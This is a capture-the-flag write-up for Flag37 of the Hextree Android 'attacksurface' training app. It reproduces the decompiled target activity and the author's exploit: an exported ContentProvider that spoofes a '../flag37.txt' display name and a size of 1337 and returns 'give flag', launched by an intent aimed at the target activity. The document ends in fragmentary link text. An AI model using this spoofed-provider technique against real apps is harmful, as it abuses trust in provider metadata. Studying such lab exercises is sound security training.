        super.onCreate(bundle);
        this.f = new LogHelper(this);
        Uri data = getIntent().getData();
        Cursor cursor = null;
        try {
            try {
                cursor = getContentResolver().query(data, null, null, null, null);
                if (cursor != null && cursor.moveToFirst()) {
                    String string = cursor.getString(cursor.getColumnIndex("_display_name"));
                    long j = cursor.getLong(cursor.getColumnIndex("_size"));
                    this.f.addTag(Long.valueOf(j));
                    this.f.addTag(string);
                    if ("../flag37.txt".equals(string) && j == 1337) {
                        InputStream openInputStream = getContentResolver().openInputStream(data);
                        if (openInputStream != null) {
                            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(openInputStream));
                            StringBuilder sb = new StringBuilder();
                            while (true) {
                                String readLine = bufferedReader.readLine();
                                if (readLine == null) {
                                    break;
                                } else {
                                    sb.append(readLine);
                                }
                            }
                            openInputStream.close();
                            this.f.addTag(sb.toString());
                            if ("give flag".equals(sb.toString())) {
                                success(this);
                            } else {
                                Log.i("Flag37", "File content '" + ((Object) sb) + "' is not 'give flag'");
                            }
                        }
                    } else {
                        Log.i("Flag37", "File name '" + string + "' or size '" + j + "' does not match");
                    }
                }
                if (cursor == null) {
                    return;
                }
            } catch (Exception e) {
                e.printStackTrace();
                if (0 == 0) {
                    return;
                }
            }
            cursor.close();
        } catch (Throwable th) {
            if (0 != 0) {
                cursor.close();
            }
            throw th;
        }

This app recives the intent and extracts the content provider URI and query it and tries to fetch _display_name & _size metadata .

then app move forward to read content from content provider URI and matches it to `give flag`.

We can write our app which implements this contentprovider and send back result.

First create a content provider class

it will write chnages to manigfest file


        <provider
            android:name=".MyContentProvider"
            android:authorities="com.app.auth"
            android:enabled="true"
            android:exported="true">
        </provider>
  • Setting android:exported="true" means any app can access your provider.

  • This allows any app to query and read your data without needing explicit permission.

we didn't specify:

<grant-uri-permissions />

This means that Android allows unrestricted access to your provider as long as it's exported.

content provider class

public class MyContentProvider extends ContentProvider {
    public MyContentProvider() {
    }

    @Override
    public int delete(Uri uri, String selection, String[] selectionArgs) {
        // Implement this to handle requests to delete one or more rows.
        throw new UnsupportedOperationException("Not yet implemented");
    }

    ....SNIP...

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
        // TODO: Implement this to handle query requests from clients.
        Log.i("AttackProvider", "query("+uri.toString()+")");
        MatrixCursor cursor = new MatrixCursor(new String[]{
                OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
        });
        cursor.addRow(new Object[]{
                "../flag37.txt", 1337
        });

        return cursor;

    }

    
    @Override
    public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
        Log.i("AttackProvider", "openFile(" + uri.toString() + ")");
        try {
            ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
            ParcelFileDescriptor.AutoCloseOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);

            new Thread(() -> {
                try {
                    outputStream.write("give flag".getBytes());
                    outputStream.close();
                } catch (IOException e) {
                    Log.e("AttackProvider", "Error in pipeToParcelFileDescriptor", e);
                }
            }).start();

            return pipe[0];
        } catch (IOException e) {
            throw new FileNotFoundException("Could not open pipe for: " + uri.toString());
        }

    }
}

We implemented two methods to respond to queryand openfile requests.

In our main class we just send the intent to target app

homeButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {

                Intent intent = new Intent();
                intent.setData(Uri.parse("content://com.app.auth/test"));
                //intent.setFlags(1);
                intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag37Activity"));
                //startActivityForResult(intent,2);
                startActivity(intent);
            }
        });

Using the method that URI can be querried.

It is a security feature called package visibility more here:

Content Providers can use a to route the incoming queries to different methods. e.g.

more:

One example is

(or androidx) is a commonly used official library implementing lots of useful classes. Including the widely used .

getContentResolver().query()
https://developer.android.com/training/package-visibility
UriMatcher
https://developer.android.com/guide/components/activities/background-starts
https://developer.android.com/training/data-storage/shared/photopicker#java
Android Jetpack
FileProvider
LogoCursor  |  Android DevelopersAndroid Developers